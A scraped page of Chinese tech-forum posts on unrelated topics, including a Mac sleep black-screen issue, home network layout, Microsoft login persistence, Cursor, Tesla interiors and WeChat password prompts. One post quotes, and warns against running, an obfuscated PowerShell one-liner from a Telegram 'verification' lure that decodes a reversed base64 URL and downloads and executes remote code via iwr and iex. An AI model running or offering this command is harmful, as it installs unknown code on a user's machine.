从睡眠中恢复的时候有概率黑屏,感觉像是 finder 卡了,桌面背景为黑色、无背景,图标都还在就是点击无反应,等个几分钟自己就恢复了,概率复现。
请问原因为何以及如何解决?

Window 网络代码分析 | 请不要轻易在自己电脑尝试

andyiac:

有没有 window 高手帮忙看下这个代码干了啥

powershell -c $r='0hHducWaatGe6ZTOvw0doZ1Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')}); 

昨天一个 Telegram 群要验证是否是真人,提供了上面代码,让用户复制粘贴 Win+R 运行,问了下 chatgpt 提示说是执行了一段网络代码,具体是干什么不熟悉 Window 编程没能搞出来。

有没有 Window 高手帮忙看下这代码到底是干啥了,是否有危险操作。

不清楚风险请不要轻易在自己电脑尝试

不清楚风险请不要轻易在自己电脑尝试

不清楚风险请不要轻易在自己电脑尝试

想问一下这个家庭网络设置的合理吗

ming995:

这是家庭网络拓扑图

拓扑图

说明

  • 目前接入移动 2000M 光纤
  • 家庭网是家庭其他成员使用,加上访客网络控制
  • 工作网络为 OP 使用
  • 工作网络的路由器使用小米 AX3000 和 AX3000T 组成 mesh 网络
  • 家庭网络使用华为的路由器另外使用 TPLINk 组了无线桥接作为扩展的信号覆盖范围

想让 V 的大佬们给出一些改进的建议,或者后续升级的一些方案,[抱拳.jpg]

小创业公司,需要带实习生出差去客户那边,问我安全是否有保障 我该怎么做?

nihaojob:

这两天咱谈的客户在广东,需要去工厂了解一下实际情况,然后再进行下一步的合作,实习生没有出过远门,问我他们家人可能不同意,我需要做什么呢?

北漂很多年,之前也是到处出差,第一次被问到这样的问题,不知道怎么回答好,有没有有经验的老板或者 HR 能给支支招? 从管理上我们也学习借鉴一下。

都是男性哦,不要想歪

自带的词典挺有意思的

ztstillwater:

用中英词典查询“媳妇”这个单词,会出现两个条目:

第一个:

媳妇 xífù
noun
① (儿子的妻子) daughter-in-law
② (晚辈亲属的妻子) wife of a relative of the younger generation
▸ 孙媳妇
grand-son’s wife
▸ 侄媳妇
nephew’s wife

第二个:

媳妇儿 xífur
noun dialect
① (妻子) wife
▸ 娶媳妇儿
take a wife
▸ 她是我媳妇儿。
She is my wife.
→ 小媳妇儿
② (年轻已婚女子) young married woman

话说我自己都不知道,加一个“儿”字意思就变了。

Microsoft 为什么要默认保持 Web 端账户登陆状态?

mangoDB:

最近在使用网页版Outlook时发现页面有一行提示「你的登录体验即将更改 除非使用专用浏览或显式注销,否则你将保持登录状态」,了解详情后发现微软给出了如下说明:

使用 Microsoft 帐户登录到任何产品或服务时,Web 浏览器登录体验会发生变化。 从 2025 年 2 月开始,除非注销或使用专用浏览,否则将自动保持登录状态。

也就是说,除非用户主动 logoff 或使用浏览器的无痕模式,否则浏览器中的 Microsoft 账户将会一直保持登陆状态。

为什么微软会做出这种改变?放弃在登陆窗口中让用户选择「是否保持登陆」的选项。

longshot20250124110941.png

Cursor:你值得更好的帖子

lucasj:

「用 Cursor 半小时做了个网站」这类的帖子意义已经不大了,像是一种情绪化的帖子。现在 Cursor 已经人人皆知,希望大家用平常心看待 Cursor 。

我希望各位大佬多发点这种帖子:如何调教 Cursor ?如何用 Cursor 更快更好地做出一个网站?

焕新版 model y 内饰今天解禁了,转向灯拨杆已经确定加回来了。

xtx: 内饰确实一如既往的朴素,加回转向灯拨杆属于是教育用户失败了,焕新 3 疑成最大🤡。
去试驾过新 3 ,其实屏幕换挡我都能还能适应,毕竟窄路调头这种场景还是比较少的,而且换挡一定是在低速场景下,看下屏幕也无大碍。但是方向灯按键实在是 nc 设计,有时转弯转到一半,需要补打方向灯,方向盘没回正,甚至分不清哪个是左灯哪个是右灯。
感觉新版内饰提升还是不少的,估计还是会大卖。

希望渺茫的人生

beyondstars:

现状:

  1. 就业市场环境差,自身学历也差;
  2. 工作无挑战性也无法使能力提升,三个月足以上手,后边都是在重复这三个月的经验;
  3. 无年终奖,没有盼头;
  4. 只能租很远的房子,下班回到家会很累,自习效率很低;
  5. 高消费,攒不下💰;

一条看不到尽头的死路,就像已经死了一样,路越走越窄,变好希望越来越渺茫,等于说慢性自杀吧。

我预测会有杠精在下边说「公司不是学校,上班不是让你来学习的」,可是人需要有能力提升的机会和环境,失业之后,还是要靠自己的本领找到工作,你什么都不会有人要你吗?另外,公司确实有一些有挑战性有提升的工作,不过那不会分配给你。

还会有人继续抬杠「你以为你有技术就好找工作了吗」,有技术不一定代表能找到好工作,但是没技术也没人脉就只能,就百分百确定,只能做低端的工作。待遇差,提升空间低,恶性循环。

不知道每天这样低水平的重复,开发一个又一个狗屎 demo ,一年到头来也没有年终奖,意义是什么?产品是公司的生命线,市场对于公司的产品根本不买账,全靠老板自己过往累计的人脉骗他们去买,做吃山空。

我也不是无病呻吟,反正公司也有的人技术部门的人也是这样,你跟他说什么都不懂。

所以我认为,程序员唯一的护城河,只能是储蓄和老家的房子?毕竟不是所有人都有好的学历和能够在工作中得到提升和成长。

微信强制提示密码错误

lsvl:

又被微信恶心到了,我现在很确定微信的密码没有啥用,只要他不想让你用密码登录,就会给你提示密码错误。

我设置过很多次密码,但是从来没用密码登录过,因为根本没机会用... 这玩意几百年不会退出登录,等退出重登的时候就会提示你密码错误了,必须用验证码登录。

因为我所有密码都是使用密码管理软件,所以肯定不存在记错/输错密码的情况,而且不是第一次遇到这种情况了,是每次我想使用密码登录的时候,都会提示我密码错误。(还是如前面所说,通常很久可能才会重登一次。另外我倒是试过短时间内重新登录,还是可以用密码的)

我寻思微信你不想让人用密码登录你可以不设置这个功能的嘛,又或者你就搞个提示当前环境异常不能用密码登录又能咋样。现在这感觉就好像把用户当傻子一样,我说你密码不对你就是密码不对

哦补充一下,还有一个铁证,同一个账号密码我在一台手机上可以登录,在另一台手机上就提示密码错误了

❌